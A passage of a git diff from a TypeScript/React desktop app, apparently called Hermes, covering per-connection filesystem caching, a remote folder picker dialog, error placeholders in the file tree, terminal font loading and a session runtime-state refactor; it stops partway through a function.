import { desktopFsCacheKey, desktopGitRoot, readDesktopDir, readDesktopFileDataUrl } from '@/lib/desktop-fs'
|
||||
import type { HermesReadDirEntry, HermesReadDirResult } from '@/global'
|
||||
|
||||
export type ProjectTreeEntry = HermesReadDirEntry
|
||||
@@ -27,7 +28,7 @@ function decodeDataUrl(dataUrl: string) {
|
||||
}
|
||||
|
||||
function clean(path: string) {
|
||||
return path.replace(/\/+$/, '') || '/'
|
||||
return path.replace(/\\/g, '/').replace(/\/+$/, '') || '/'
|
||||
}
|
||||
|
||||
/** Strict POSIX-style relative path; null if `child` is not inside `root`. */
|
||||
@@ -63,15 +64,11 @@ function ancestorDirs(root: string, dir: string) {
|
||||
}
|
||||
|
||||
async function gitRootFor(start: string) {
|
||||
if (!window.hermesDesktop?.gitRoot) {
|
||||
return null
|
||||
}
|
||||
|
||||
const key = clean(start)
|
||||
const key = `${desktopFsCacheKey()}:${clean(start)}`
|
||||
let cached = gitRootCache.get(key)
|
||||
|
||||
if (!cached) {
|
||||
cached = window.hermesDesktop.gitRoot(key)
|
||||
cached = desktopGitRoot(start)
|
||||
gitRootCache.set(key, cached)
|
||||
}
|
||||
|
||||
@@ -80,18 +77,14 @@ async function gitRootFor(start: string) {
|
||||
|
||||
/** Read .gitignore at `dir` if it actually exists — never probe missing files. */
|
||||
async function readGitignore(dir: string): Promise<GitignoreRule | null> {
|
||||
if (!window.hermesDesktop?.readDir || !window.hermesDesktop.readFileDataUrl) {
|
||||
return null
|
||||
}
|
||||
|
||||
try {
|
||||
const listing = await window.hermesDesktop.readDir(dir)
|
||||
const listing = await readDesktopDir(dir)
|
||||
|
||||
if (!listing.entries.some(e => e.name === '.gitignore' && !e.isDirectory)) {
|
||||
return null
|
||||
}
|
||||
|
||||
const text = decodeDataUrl(await window.hermesDesktop.readFileDataUrl(`${dir}/.gitignore`))
|
||||
const text = decodeDataUrl(await readDesktopFileDataUrl(`${dir}/.gitignore`))
|
||||
|
||||
return { base: dir, ig: ignore().add(text) }
|
||||
} catch {
|
||||
@@ -100,11 +93,11 @@ async function readGitignore(dir: string): Promise<GitignoreRule | null> {
|
||||
}
|
||||
|
||||
async function gitignoreFor(dir: string) {
|
||||
const key = clean(dir)
|
||||
const key = `${desktopFsCacheKey()}:${clean(dir)}`
|
||||
let cached = gitignoreCache.get(key)
|
||||
|
||||
if (!cached) {
|
||||
cached = readGitignore(key)
|
||||
cached = readGitignore(clean(dir))
|
||||
gitignoreCache.set(key, cached)
|
||||
}
|
||||
|
||||
@@ -142,9 +135,10 @@ export async function readProjectDir(dirPath: string, rootPath = dirPath): Promi
|
||||
return { entries: [], error: 'no-bridge' }
|
||||
}
|
||||
|
||||
const result = await window.hermesDesktop.readDir(dirPath)
|
||||
const result = await readDesktopDir(dirPath)
|
||||
const entries = result?.entries ?? []
|
||||
|
||||
return { ...result, entries: await filterIgnored(result.entries, rootPath, dirPath) }
|
||||
return { ...result, entries: await filterIgnored(entries, rootPath, dirPath) }
|
||||
}
|
||||
|
||||
export function clearProjectDirCache(rootPath?: string) {
|
||||
@@ -155,7 +149,7 @@ export function clearProjectDirCache(rootPath?: string) {
|
||||
return
|
||||
}
|
||||
|
||||
const key = clean(rootPath)
|
||||
const key = `${desktopFsCacheKey()}:${clean(rootPath)}`
|
||||
gitRootCache.delete(key)
|
||||
gitignoreCache.delete(key)
|
||||
}
|
||||
|
||||
177
apps/desktop/src/app/right-sidebar/files/remote-picker.tsx
Normal file
177
apps/desktop/src/app/right-sidebar/files/remote-picker.tsx
Normal file
@@ -0,0 +1,177 @@
|
||||
import { useEffect, useMemo, useState } from 'react'
|
||||
|
||||
import { Button } from '@/components/ui/button'
|
||||
import { Codicon } from '@/components/ui/codicon'
|
||||
import { Dialog, DialogContent, DialogDescription, DialogTitle } from '@/components/ui/dialog'
|
||||
import { useI18n } from '@/i18n'
|
||||
import { readDesktopDir, setDesktopFsRemotePicker } from '@/lib/desktop-fs'
|
||||
import { cn } from '@/lib/utils'
|
||||
|
||||
function clean(path: string) {
|
||||
return path.replace(/\/+$/, '') || '/'
|
||||
}
|
||||
|
||||
function parentDir(path: string) {
|
||||
const value = clean(path)
|
||||
if (value === '/') {
|
||||
return '/'
|
||||
}
|
||||
const parent = value.slice(0, value.lastIndexOf('/'))
|
||||
return parent || '/'
|
||||
}
|
||||
|
||||
function pathName(path: string) {
|
||||
return path.split('/').filter(Boolean).pop() || path
|
||||
}
|
||||
|
||||
interface PendingSelection {
|
||||
defaultPath: string
|
||||
resolve: (paths: string[]) => void
|
||||
title: string
|
||||
}
|
||||
|
||||
export function RemoteFolderPicker() {
|
||||
const { t } = useI18n()
|
||||
const r = t.rightSidebar
|
||||
const [pending, setPending] = useState<PendingSelection | null>(null)
|
||||
const [currentPath, setCurrentPath] = useState('/')
|
||||
const [entries, setEntries] = useState<Array<{ name: string; path: string }>>([])
|
||||
const [error, setError] = useState<string | null>(null)
|
||||
const [loading, setLoading] = useState(false)
|
||||
|
||||
useEffect(() => {
|
||||
setDesktopFsRemotePicker({
|
||||
selectPaths: options =>
|
||||
new Promise(resolve => {
|
||||
const defaultPath = clean(options?.defaultPath || '/')
|
||||
setCurrentPath(defaultPath)
|
||||
setPending({ defaultPath, resolve, title: options?.title || r.remotePickerTitle })
|
||||
})
|
||||
})
|
||||
return () => setDesktopFsRemotePicker(null)
|
||||
}, [r.remotePickerTitle])
|
||||
|
||||
useEffect(() => {
|
||||
if (!pending) {
|
||||
return
|
||||
}
|
||||
|
||||
let active = true
|
||||
setLoading(true)
|
||||
setError(null)
|
||||
|
||||
void readDesktopDir(currentPath)
|
||||
.then(result => {
|
||||
if (!active) {
|
||||
return
|
||||
}
|
||||
if (result.error) {
|
||||
setError(result.error)
|
||||
setEntries([])
|
||||
return
|
||||
}
|
||||
setEntries(result.entries.filter(entry => entry.isDirectory).map(entry => ({ name: entry.name, path: entry.path })))
|
||||
})
|
||||
.catch(err => {
|
||||
if (active) {
|
||||
setError(err instanceof Error ? err.message : String(err))
|
||||
setEntries([])
|
||||
}
|
||||
})
|
||||
.finally(() => {
|
||||
if (active) {
|
||||
setLoading(false)
|
||||
}
|
||||
})
|
||||
|
||||
return () => {
|
||||
active = false
|
||||
}
|
||||
}, [currentPath, pending])
|
||||
|
||||
const crumbs = useMemo(() => {
|
||||
const parts = clean(currentPath).split('/').filter(Boolean)
|
||||
const out = [{ label: '/', path: '/' }]
|
||||
let acc = ''
|
||||
for (const part of parts) {
|
||||
acc += `/${part}`
|
||||
out.push({ label: part, path: acc })
|
||||
}
|
||||
return out
|
||||
}, [currentPath])
|
||||
|
||||
const close = (paths: string[] = []) => {
|
||||
pending?.resolve(paths)
|
||||
setPending(null)
|
||||
setEntries([])
|
||||
setError(null)
|
||||
}
|
||||
|
||||
return (
|
||||
<Dialog onOpenChange={open => !open && close()} open={Boolean(pending)}>
|
||||
<DialogContent className="max-w-lg gap-0 overflow-hidden p-0">
|
||||
<div className="border-b border-border/70 px-4 py-3">
|
||||
<DialogTitle className="text-sm">{pending?.title || r.remotePickerTitle}</DialogTitle>
|
||||
<DialogDescription className="mt-1 text-xs">{r.remotePickerDescription}</DialogDescription>
|
||||
</div>
|
||||
|
||||
<div className="flex min-h-[22rem] flex-col">
|
||||
<div className="flex flex-wrap items-center gap-1 border-b border-border/50 px-3 py-2 text-xs text-muted-foreground">
|
||||
{crumbs.map((crumb, index) => (
|
||||
<button
|
||||
className={cn('rounded px-1.5 py-0.5 hover:bg-muted hover:text-foreground', index === crumbs.length - 1 && 'text-foreground')}
|
||||
key={crumb.path}
|
||||
onClick={() => setCurrentPath(crumb.path)}
|
||||
type="button"
|
||||
>
|
||||
{crumb.label}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
|
||||
<div className="min-h-0 flex-1 overflow-y-auto p-2">
|
||||
<FolderRow disabled={currentPath === '/'} name=".." onClick={() => setCurrentPath(parentDir(currentPath))} />
|
||||
{loading ? (
|
||||
<div className="flex items-center gap-2 px-2 py-3 text-xs text-muted-foreground">
|
||||
<Codicon name="loading" size="0.8rem" spinning />
|
||||
{r.loadingFiles}
|
||||
</div>
|
||||
) : error ? (
|
||||
<div className="px-2 py-3 text-xs text-destructive">{r.unreadableBody(error)}</div>
|
||||
) : entries.length === 0 ? (
|
||||
<div className="px-2 py-3 text-xs text-muted-foreground">{r.emptyBody}</div>
|
||||
) : (
|
||||
entries.map(entry => <FolderRow key={entry.path} name={pathName(entry.path)} onClick={() => setCurrentPath(entry.path)} />)
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="flex items-center justify-between gap-2 border-t border-border/70 px-4 py-3">
|
||||
<div className="min-w-0 truncate text-xs text-muted-foreground">{currentPath}</div>
|
||||
<div className="flex shrink-0 items-center gap-2">
|
||||
<Button onClick={() => close()} size="sm" variant="ghost">
|
||||
{t.common.cancel}
|
||||
</Button>
|
||||
<Button onClick={() => close([currentPath])} size="sm">
|
||||
{r.remotePickerSelect}
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
</DialogContent>
|
||||
</Dialog>
|
||||
)
|
||||
}
|
||||
|
||||
function FolderRow({ disabled = false, name, onClick }: { disabled?: boolean; name: string; onClick: () => void }) {
|
||||
return (
|
||||
<button
|
||||
className="flex w-full items-center gap-2 rounded-md px-2 py-1.5 text-left text-xs text-(--ui-text-secondary) hover:bg-(--ui-row-hover-background) hover:text-foreground disabled:pointer-events-none disabled:opacity-40"
|
||||
disabled={disabled}
|
||||
onClick={onClick}
|
||||
type="button"
|
||||
>
|
||||
<Codicon name="folder" size="0.875rem" />
|
||||
<span className="min-w-0 truncate">{name}</span>
|
||||
</button>
|
||||
)
|
||||
}
|
||||
@@ -7,6 +7,7 @@ import { useResizeObserver } from '@/hooks/use-resize-observer'
|
||||
import { useI18n } from '@/i18n'
|
||||
import { cn } from '@/lib/utils'
|
||||
|
||||
import { getFileTreeDndManager } from './dnd-manager'
|
||||
import type { TreeNode } from './use-project-tree'
|
||||
|
||||
const ROW_HEIGHT = 22
|
||||
@@ -94,6 +95,7 @@ export function ProjectTree({
|
||||
disableDrag
|
||||
disableDrop
|
||||
disableEdit
|
||||
dndManager={getFileTreeDndManager()}
|
||||
height={size.height}
|
||||
indent={INDENT}
|
||||
initialOpenState={openState}
|
||||
@@ -145,7 +147,8 @@ function ProjectTreeRow({
|
||||
}
|
||||
|
||||
const isFolder = node.data.isDirectory
|
||||
const isPlaceholder = node.data.id.endsWith('::__loading__')
|
||||
const isPlaceholder = Boolean(node.data.placeholder)
|
||||
const isErrorPlaceholder = node.data.placeholder === 'error'
|
||||
|
||||
return (
|
||||
<div
|
||||
@@ -210,8 +213,10 @@ function ProjectTreeRow({
|
||||
)}
|
||||
{!isFolder && <span aria-hidden className="w-3 shrink-0" />}
|
||||
<span aria-hidden className="flex w-3.5 items-center justify-center text-(--ui-text-tertiary)">
|
||||
{isPlaceholder ? (
|
||||
{isPlaceholder && !isErrorPlaceholder ? (
|
||||
<Codicon name="loading" size="0.75rem" spinning />
|
||||
) : isErrorPlaceholder ? (
|
||||
<Codicon name="warning" size="0.75rem" />
|
||||
) : isFolder ? (
|
||||
<Codicon name={node.isOpen ? 'folder-opened' : 'folder'} size="0.875rem" />
|
||||
) : (
|
||||
|
||||
@@ -1,19 +1,24 @@
|
||||
import { act, renderHook, waitFor } from '@testing-library/react'
|
||||
import { act, cleanup, renderHook, waitFor } from '@testing-library/react'
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
import { $connection } from '@/store/session'
|
||||
import type { HermesReadDirResult } from '@/global'
|
||||
|
||||
import { clearProjectDirCache, readProjectDir } from './ipc'
|
||||
import { resetProjectTreeState, useProjectTree } from './use-project-tree'
|
||||
|
||||
const readDir = vi.fn<(path: string) => Promise<HermesReadDirResult>>()
|
||||
|
||||
beforeEach(() => {
|
||||
$connection.set(null)
|
||||
resetProjectTreeState()
|
||||
readDir.mockReset()
|
||||
;(window as unknown as { hermesDesktop: { readDir: typeof readDir } }).hermesDesktop = { readDir }
|
||||
})
|
||||
|
||||
afterEach(() => {
|
||||
cleanup()
|
||||
$connection.set(null)
|
||||
resetProjectTreeState()
|
||||
delete (window as unknown as { hermesDesktop?: unknown }).hermesDesktop
|
||||
})
|
||||
@@ -106,7 +111,37 @@ describe('useProjectTree', () => {
|
||||
expect(readDir).toHaveBeenCalledTimes(1)
|
||||
})
|
||||
|
||||
it('captures per-folder error code and leaves the folder expandable but empty', async () => {
|
||||
it('reads gitignore from the real path while caching per connection', async () => {
|
||||
const readFileDataUrl = vi.fn(async () => `data:text/plain;base64,${btoa('ignored.log\n')}`)
|
||||
const gitRoot = vi.fn(async () => '/repo')
|
||||
readDir.mockImplementation(async path => {
|
||||
if (path === '/repo') return ok([{ name: '.gitignore', path: '/repo/.gitignore', isDirectory: false }])
|
||||
if (path === '/repo/src') {
|
||||
return ok([
|
||||
{ name: 'app.ts', path: '/repo/src/app.ts', isDirectory: false },
|
||||
{ name: 'ignored.log', path: '/repo/src/ignored.log', isDirectory: false }
|
||||
])
|
||||
}
|
||||
throw new Error(`unexpected path ${path}`)
|
||||
})
|
||||
;(window as unknown as { hermesDesktop: unknown }).hermesDesktop = { gitRoot, readDir, readFileDataUrl }
|
||||
|
||||
$connection.set({ baseUrl: 'local-a', mode: 'local' } as never)
|
||||
await expect(readProjectDir('/repo/src', '/repo')).resolves.toMatchObject({
|
||||
entries: [{ name: 'app.ts', path: '/repo/src/app.ts', isDirectory: false }]
|
||||
})
|
||||
expect(readDir).toHaveBeenCalledWith('/repo')
|
||||
expect(readDir).not.toHaveBeenCalledWith(expect.stringContaining('local-a'))
|
||||
|
||||
$connection.set({ baseUrl: 'local-b', mode: 'local' } as never)
|
||||
clearProjectDirCache()
|
||||
await expect(readProjectDir('/repo/src', '/repo')).resolves.toMatchObject({
|
||||
entries: [{ name: 'app.ts', path: '/repo/src/app.ts', isDirectory: false }]
|
||||
})
|
||||
expect(readDir.mock.calls.filter(([path]) => path === '/repo')).toHaveLength(2)
|
||||
})
|
||||
|
||||
it('captures per-folder error code and shows an error placeholder child', async () => {
|
||||
readDir.mockResolvedValueOnce(ok([{ name: 'priv', path: '/p/priv', isDirectory: true }]))
|
||||
readDir.mockResolvedValueOnce({ entries: [], error: 'EACCES' })
|
||||
|
||||
@@ -119,7 +154,14 @@ describe('useProjectTree', () => {
|
||||
})
|
||||
|
||||
expect(result.current.data[0].error).toBe('EACCES')
|
||||
expect(result.current.data[0].children).toEqual([])
|
||||
expect(result.current.data[0].children).toEqual([
|
||||
{
|
||||
id: '/p/priv::__error__',
|
||||
isDirectory: false,
|
||||
name: 'Unable to read (EACCES)',
|
||||
placeholder: 'error'
|
||||
}
|
||||
])
|
||||
})
|
||||
|
||||
it('dedupes concurrent loadChildren calls for the same id', async () => {
|
||||
|
||||
@@ -2,6 +2,8 @@ import { useStore } from '@nanostores/react'
|
||||
import { atom } from 'nanostores'
|
||||
import { useCallback, useEffect, useMemo } from 'react'
|
||||
|
||||
import { $connection } from '@/store/session'
|
||||
|
||||
import { clearProjectDirCache, readProjectDir } from './ipc'
|
||||
|
||||
export interface TreeNode {
|
||||
@@ -14,11 +16,14 @@ export interface TreeNode {
|
||||
children?: TreeNode[]
|
||||
/** True while a readDir for this folder is in flight. */
|
||||
loading?: boolean
|
||||
/** Synthetic loading/error rows are not real filesystem entries. */
|
||||
placeholder?: 'error' | 'loading'
|
||||
/** Last error code from readDir (e.g. EACCES). Cleared on next successful load. */
|
||||
error?: string
|
||||
}
|
||||
|
||||
const PLACEHOLDER_ID = '__loading__'
|
||||
const ERROR_PLACEHOLDER_ID = '__error__'
|
||||
|
||||
function makeNode(path: string, name: string, isDirectory: boolean): TreeNode {
|
||||
return { id: path, isDirectory, name }
|
||||
@@ -43,7 +48,16 @@ function patchNode(nodes: TreeNode[] | undefined | null, id: string, patch: (n:
|
||||
}
|
||||
|
||||
function placeholderChild(parentId: string): TreeNode {
|
||||
return { id: `${parentId}::${PLACEHOLDER_ID}`, isDirectory: false, name: 'Loading…' }
|
||||
return { id: `${parentId}::${PLACEHOLDER_ID}`, isDirectory: false, name: 'Loading…', placeholder: 'loading' }
|
||||
}
|
||||
|
||||
function errorChild(parentId: string, error: string | undefined): TreeNode {
|
||||
return {
|
||||
id: `${parentId}::${ERROR_PLACEHOLDER_ID}`,
|
||||
isDirectory: false,
|
||||
name: `Unable to read (${error || 'read-error'})`,
|
||||
placeholder: 'error'
|
||||
}
|
||||
}
|
||||
|
||||
export interface UseProjectTreeResult {
|
||||
@@ -84,6 +98,7 @@ const initialState: ProjectTreeState = {
|
||||
const inflight = new Set<string>()
|
||||
const $projectTree = atom<ProjectTreeState>(initialState)
|
||||
let nextRootRequestId = 0
|
||||
let lastConnectionKey = ''
|
||||
|
||||
function setProjectTree(updater: (current: ProjectTreeState) => ProjectTreeState) {
|
||||
$projectTree.set(updater($projectTree.get()))
|
||||
@@ -145,6 +160,7 @@ async function loadRoot(cwd: string, { force = false }: { force?: boolean } = {}
|
||||
}
|
||||
|
||||
export function resetProjectTreeState() {
|
||||
lastConnectionKey = ''
|
||||
clearProjectTree()
|
||||
clearProjectDirCache()
|
||||
}
|
||||
@@ -158,6 +174,8 @@ export function resetProjectTreeState() {
|
||||
*/
|
||||
export function useProjectTree(cwd: string): UseProjectTreeResult {
|
||||
const state = useStore($projectTree)
|
||||
const connection = useStore($connection)
|
||||
const connectionKey = `${connection?.mode || 'local'}:${connection?.profile || ''}:${connection?.baseUrl || ''}`
|
||||
|
||||
const refreshRoot = useCallback(() => loadRoot(cwd, { force: true }), [cwd])
|
||||
|
||||
@@ -227,7 +245,7 @@ export function useProjectTree(cwd: string): UseProjectTreeResult {
|
||||
...n,
|
||||
loading: false,
|
||||
error: error || undefined,
|
||||
children: error ? [] : entries.map(e => makeNode(e.path, e.name, e.isDirectory))
|
||||
children: error ? [errorChild(n.id, error)] : entries.map(e => makeNode(e.path, e.name, e.isDirectory))
|
||||
}))
|
||||
}
|
||||
})
|
||||
@@ -236,8 +254,15 @@ export function useProjectTree(cwd: string): UseProjectTreeResult {
|
||||
)
|
||||
|
||||
useEffect(() => {
|
||||
const connectionChanged = lastConnectionKey !== '' && lastConnectionKey !== connectionKey
|
||||
lastConnectionKey = connectionKey
|
||||
if (connectionChanged) {
|
||||
clearProjectDirCache()
|
||||
void loadRoot(cwd, { force: true })
|
||||
return
|
||||
}
|
||||
void loadRoot(cwd)
|
||||
}, [cwd])
|
||||
}, [connectionKey, cwd])
|
||||
|
||||
return useMemo(
|
||||
() => ({
|
||||
|
||||
@@ -7,6 +7,7 @@ import { Codicon } from '@/components/ui/codicon'
|
||||
import { Loader } from '@/components/ui/loader'
|
||||
import { Tip } from '@/components/ui/tooltip'
|
||||
import { useI18n } from '@/i18n'
|
||||
import { selectDesktopPaths } from '@/lib/desktop-fs'
|
||||
import { normalizeOrLocalPreviewTarget } from '@/lib/local-preview'
|
||||
import { cn } from '@/lib/utils'
|
||||
import { $panesFlipped } from '@/store/layout'
|
||||
@@ -16,6 +17,7 @@ import { $currentCwd } from '@/store/session'
|
||||
|
||||
import { SidebarPanelLabel } from '../shell/sidebar-label'
|
||||
|
||||
import { RemoteFolderPicker } from './files/remote-picker'
|
||||
import { ProjectTree } from './files/tree'
|
||||
import { useProjectTree } from './files/use-project-tree'
|
||||
|
||||
@@ -54,7 +56,7 @@ export function RightSidebarPane({ onActivateFile, onActivateFolder, onChangeCwd
|
||||
const canCollapse = Object.values(openState).some(Boolean)
|
||||
|
||||
const chooseFolder = async () => {
|
||||
const selected = await window.hermesDesktop?.selectPaths({
|
||||
const selected = await selectDesktopPaths({
|
||||
defaultPath: hasCwd ? currentCwd : undefined,
|
||||
directories: true,
|
||||
multiple: false,
|
||||
@@ -90,6 +92,8 @@ export function RightSidebarPane({ onActivateFile, onActivateFolder, onChangeCwd
|
||||
: 'border-l shadow-[inset_0.0625rem_0_0_color-mix(in_srgb,white_18%,transparent)]'
|
||||
)}
|
||||
>
|
||||
<RemoteFolderPicker />
|
||||
|
||||
<FilesystemTab
|
||||
canCollapse={canCollapse}
|
||||
collapseNonce={collapseNonce}
|
||||
|
||||
@@ -315,8 +315,11 @@ export function useTerminalSession({ cwd, onAddSelectionToChat }: UseTerminalSes
|
||||
allowTransparency: true,
|
||||
convertEol: true,
|
||||
cursorBlink: true,
|
||||
fontFamily: "'SF Mono', 'Menlo', 'Cascadia Code', 'JetBrains Mono', monospace",
|
||||
fontFamily: "'JetBrains Mono', 'Cascadia Code', 'SF Mono', Menlo, Consolas, monospace",
|
||||
fontSize: 11,
|
||||
fontWeight: '400',
|
||||
fontWeightBold: '700',
|
||||
letterSpacing: 0,
|
||||
lineHeight: 1.12,
|
||||
// Full-screen TUIs (hermes --tui, vim) grab the mouse, so a plain drag
|
||||
// can't select — ⌥-drag (macOS) / Shift-drag (else) forces a native
|
||||
@@ -598,13 +601,13 @@ export function useTerminalSession({ cwd, onAddSelectionToChat }: UseTerminalSes
|
||||
startSession()
|
||||
}
|
||||
|
||||
const fonts = typeof document !== 'undefined' ? document.fonts : undefined
|
||||
// fonts.ready settles only already-requested faces; bold/italic aren't asked
|
||||
// for until styled output paints (past atlas init), so warm them up front.
|
||||
const warm = document.fonts?.load
|
||||
? Promise.allSettled(['400', '700', 'italic 400'].map(v => document.fonts.load(`${v} 11px 'JetBrains Mono'`)))
|
||||
: Promise.resolve()
|
||||
|
||||
if (fonts?.ready) {
|
||||
void fonts.ready.then(mount, mount)
|
||||
} else {
|
||||
mount()
|
||||
}
|
||||
void warm.then(mount, mount)
|
||||
|
||||
return () => {
|
||||
disposed = true
|
||||
|
||||
@@ -64,6 +64,67 @@ interface QueuedStreamDeltas {
|
||||
reasoning: string
|
||||
}
|
||||
|
||||
type SessionRuntimeStatePatch = Partial<
|
||||
Pick<
|
||||
ClientSessionState,
|
||||
| 'branch'
|
||||
| 'cwd'
|
||||
| 'fast'
|
||||
| 'model'
|
||||
| 'personality'
|
||||
| 'provider'
|
||||
| 'reasoningEffort'
|
||||
| 'serviceTier'
|
||||
| 'yolo'
|
||||
>
|
||||
>
|
||||
|
||||
function sessionInfoStatePatch(payload: GatewayEventPayload | undefined): SessionRuntimeStatePatch {
|
||||
const patch: SessionRuntimeStatePatch = {}
|
||||
|
||||
if (typeof payload?.model === 'string') {
|
||||
patch.model = payload.model || ''
|
||||
}
|
||||
|
||||
if (typeof payload?.provider === 'string') {
|
||||
patch.provider = payload.provider || ''
|
||||
}
|
||||
|
||||
if (typeof payload?.cwd === 'string') {
|
||||
patch.cwd = payload.cwd
|
||||
}
|
||||
|
||||
if (typeof payload?.branch === 'string') {
|
||||
patch.branch = payload.branch
|
||||
}
|
||||
|
||||
if (typeof payload?.personality === 'string') {
|
||||
patch.personality = normalizePersonalityValue(payload.personality)
|
||||
}
|
||||
|
||||
if (typeof payload?.reasoning_effort === 'string') {
|
||||
patch.reasoningEffort = payload.reasoning_effort
|
||||
}
|
||||
|
||||
if (typeof payload?.service_tier === 'string') {
|
||||
patch.serviceTier = payload.service_tier
|
||||
}
|
||||
|
||||
if (typeof payload?.fast === 'boolean') {
|
||||
patch.fast = payload.fast
|
||||
}
|
||||
|
||||
if (typeof payload?.yolo === 'boolean') {
|
||||
patch.yolo = payload.yolo
|
||||
}
|
||||
|
||||
return patch
|
||||
}
|
||||
|
||||
function hasSessionInfoStatePatch(patch: SessionRuntimeStatePatch): boolean {
|
||||
return Object.keys(patch).length > 0
|
||||
}
|
||||
|
||||
// Minimum gap between two assistant-text flushes during a stream. Was 16ms
|
||||
// (rAF only), which at typical LLM token rates of ~30-80 tok/sec meant every
|
||||
// token got its own React commit + Streamdown markdown re-parse, scaling
|
||||
@@ -628,36 +689,27 @@ export function useMessageStream({
|
||||
// Apply session-scoped fields when the event targets the active
|
||||
// session, OR when it's a global broadcast and we have no session.
|
||||
const apply = explicitSid ? isActiveEvent : !activeSessionIdRef.current
|
||||
const statePatch = sessionInfoStatePatch(payload)
|
||||
const hasStatePatch = hasSessionInfoStatePatch(statePatch)
|
||||
const modelChanged = typeof payload?.model === 'string'
|
||||
const providerChanged = typeof payload?.provider === 'string'
|
||||
const runningChanged = typeof payload?.running === 'boolean'
|
||||
|
||||
if (apply) {
|
||||
const runtimeInfo: Partial<
|
||||
Pick<
|
||||
ClientSessionState,
|
||||
'branch' | 'cwd' | 'fast' | 'model' | 'provider' | 'reasoningEffort' | 'serviceTier' | 'yolo'
|
||||
>
|
||||
> = {}
|
||||
|
||||
if (modelChanged) {
|
||||
setCurrentModel(payload!.model || '')
|
||||
runtimeInfo.model = payload!.model || ''
|
||||
}
|
||||
|
||||
if (providerChanged) {
|
||||
setCurrentProvider(payload!.provider || '')
|
||||
runtimeInfo.provider = payload!.provider || ''
|
||||
}
|
||||
|
||||
if (typeof payload?.cwd === 'string') {
|
||||
setCurrentCwd(payload.cwd)
|
||||
runtimeInfo.cwd = payload.cwd
|
||||
}
|
||||
|
||||
if (typeof payload?.branch === 'string') {
|
||||
setCurrentBranch(payload.branch)
|
||||
runtimeInfo.branch = payload.branch
|
||||
}
|
||||
|
||||
if (typeof payload?.personality === 'string') {
|
||||
@@ -666,28 +718,31 @@ export function useMessageStream({
|
||||
|
||||
if (typeof payload?.reasoning_effort === 'string') {
|
||||
setCurrentReasoningEffort(payload.reasoning_effort)
|
||||
runtimeInfo.reasoningEffort = payload.reasoning_effort
|
||||
}
|
||||
|
||||
if (typeof payload?.service_tier === 'string') {
|
||||
setCurrentServiceTier(payload.service_tier)
|
||||
runtimeInfo.serviceTier = payload.service_tier
|
||||
}
|
||||
|
||||
if (typeof payload?.fast === 'boolean') {
|
||||
setCurrentFastMode(payload.fast)
|
||||
runtimeInfo.fast = payload.fast
|
||||
}
|
||||
|
||||
if (typeof payload?.yolo === 'boolean') {
|
||||
setYoloActive(payload.yolo)
|
||||
runtimeInfo.yolo = payload.yolo
|
||||
}
|
||||
}
|
||||
|
||||
if (sessionId && Object.keys(runtimeInfo).length > 0) {
|
||||
updateSessionState(sessionId, state => ({ ...state, ...runtimeInfo }))
|
||||
}
|
||||
if (sessionId && hasStatePatch) {
|
||||
updateSessionState(sessionId, state => ({
|
||||
...state,
|
||||
...statePatch,
|
||||
branch: statePatch.branch ?? state.branch,
|
||||
cwd: statePatch.cwd ?? state.cwd
|
||||
}))
|
||||
}
|
||||
|
||||
if (apply) {
|
||||
if (runningChanged && sessionId) {
|
||||
updateSessionState(sessionId, state => {
|
||||
const busy = Boolean(payload!.running)
|
||||
@@ -878,6 +933,8 @@ export function useMessageStream({
|
||||
// raise it and wait — the sidebar flags "needs input" and the inline bar
|
||||
// surfaces once the user focuses that chat.
|
||||
setApprovalRequest({
|
||||
// false only when a tirith warning forbids it; backend omits the field otherwise.
|
||||
allowPermanent: payload?.allow_permanent !== false,
|
||||
command: typeof payload?.command === 'string' ? payload.command : '',
|
||||
description: typeof payload?.description === 'string' ? payload.description : 'dangerous command',
|
||||
sessionId: sessionId ?? null
|
||||
|
||||
@@ -2,7 +2,7 @@ import type { MutableRefObject } from 'react'
|
||||
import { useCallback, useRef } from 'react'
|
||||
import type { NavigateFunction } from 'react-router-dom'
|
||||
|
||||
import { deleteSession, getSessionMessages, setSessionArchived } from '@/hermes'
|
||||
import { deleteSession, getSessionMessages, listAllProfileSessions, setSessionArchived } from '@/hermes'
|
||||
import { useI18n } from '@/i18n'
|
||||
import { type ChatMessage, chatMessageText, preserveLocalAssistantErrors, toChatMessages } from '@/lib/chat-messages'
|
||||
import { normalizePersonalityValue } from '@/lib/chat-runtime'
|
||||
@@ -43,7 +43,7 @@ import {
|
||||
workspaceCwdForNewSession
|
||||
} from '@/store/session'
|
||||
import { reportBackendContract } from '@/store/updates'
|
||||
import type { SessionCreateResponse, SessionInfo, SessionResumeResponse, UsageStats } from '@/types/hermes'
|
||||
import type { SessionCreateResponse, SessionInfo, SessionResumeResponse, SessionRuntimeInfo, UsageStats } from '@/types/hermes'
|
||||
|
||||
import { NEW_CHAT_ROUTE, sessionRoute, SETTINGS_ROUTE } from '../../routes'
|
||||
import type { ClientSessionState, SidebarNavItem } from '../../types'
|
||||
@@ -209,16 +209,67 @@ function patchSessionWorkspace(sessionId: string, cwd: string | undefined) {
|
||||
setSessions(prev => prev.map(session => (session.id === sessionId ? { ...session, cwd } : session)))
|
||||
}
|
||||
|
||||
function applyRuntimeInfo(info: SessionCreateResponse['info'] | undefined): Partial<
|
||||
Pick<ClientSessionState, 'branch' | 'cwd' | 'fast' | 'model' | 'provider' | 'reasoningEffort' | 'serviceTier' | 'yolo'>
|
||||
> | null {
|
||||
function sessionMatchesStoredId(session: SessionInfo, storedSessionId: string): boolean {
|
||||
return session.id === storedSessionId || session._lineage_root_id === storedSessionId
|
||||
}
|
||||
|
||||
function upsertResolvedSession(session: SessionInfo, storedSessionId: string) {
|
||||
const lineage = session._lineage_root_id ?? session.id
|
||||
|
||||
setSessions(prev => [
|
||||
session,
|
||||
...prev.filter(existing => {
|
||||
if (sessionMatchesStoredId(existing, storedSessionId)) {
|
||||
return false
|
||||
}
|
||||
|
||||
return (existing._lineage_root_id ?? existing.id) !== lineage
|
||||
})
|
||||
])
|
||||
}
|
||||
|
||||
async function resolveStoredSession(storedSessionId: string): Promise<SessionInfo | undefined> {
|
||||
const cached = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
|
||||
|
||||
if (cached) {
|
||||
return cached
|
||||
}
|
||||
|
||||
try {
|
||||
const result = await listAllProfileSessions(500, 0, 'include', 'recent', 'all')
|
||||
const resolved = result.sessions.find(session => sessionMatchesStoredId(session, storedSessionId))
|
||||
|
||||
